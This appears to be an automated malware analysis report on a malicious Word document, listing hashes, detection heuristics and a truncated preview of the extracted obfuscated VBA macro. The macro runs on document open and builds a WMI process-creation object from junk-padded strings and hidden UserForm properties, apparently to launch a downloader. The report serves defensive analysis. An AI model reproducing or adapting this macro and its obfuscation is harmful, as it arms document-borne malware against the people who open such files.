Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4a41f8592b4ead4e…

MALICIOUS

Office (OLE)

184.5 KB Created: 2020-08-20 22:24:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 721b01c3bbd5d458a3d7dfebeda852ae SHA-1: 554af7bdae6be1c20778bd941e83549b21e8d984 SHA-256: 4a41f8592b4ead4ef1a2fcb3c2dbde4e5acdb9f772430eab83f66d8d3398bd16
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of a ClamAV detection for 'Doc.Malware.Sagent-9436319-0' further supports this. The VBA code appears to be obfuscated, but the critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' suggests it's designed to execute arbitrary code, likely downloading a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9436319-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9436319-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11017 bytes
SHA-256: 3bb2344a8668683c62bb27d9d5cfa03ca0ac03237b1a434e05b6d279e3e6fb7b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xonq1qwe7ycg"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Q81me3b_yvy0.Jh0ye2wqrsdrnnbwg
End Sub


Attribute VB_Name = "Q81me3b_yvy0"
Attribute VB_Base = "0{9FD14416-6A83-402F-A3BD-D0DF62D473D9}{198C1DDE-CB07-4689-B721-3D4E22382904}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jh0ye2wqrsdrnnbwg()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

V293faaoicx2bofu = Q81me3b_yvy0.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Rsbeaxys56alvno8f9 = ChrW(V293faaoicx2bofu + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Xxg51xfsw8c13hrql = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Rsbeaxys56alvno8f9 + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Q81me3b_yvy0.Gc831gyhka_56 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Qk_t6pcby0ulq = Frpydr3rs1yn(Xxg51xfsw8c13hrql)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Nekd_r28q0nyt = CreateObject(Qk_t6pcby0ulq)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Wm2dxk5rqyt0 = Q81me3b_yvy0.Wduhmldz9301qv.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End 
... (truncated)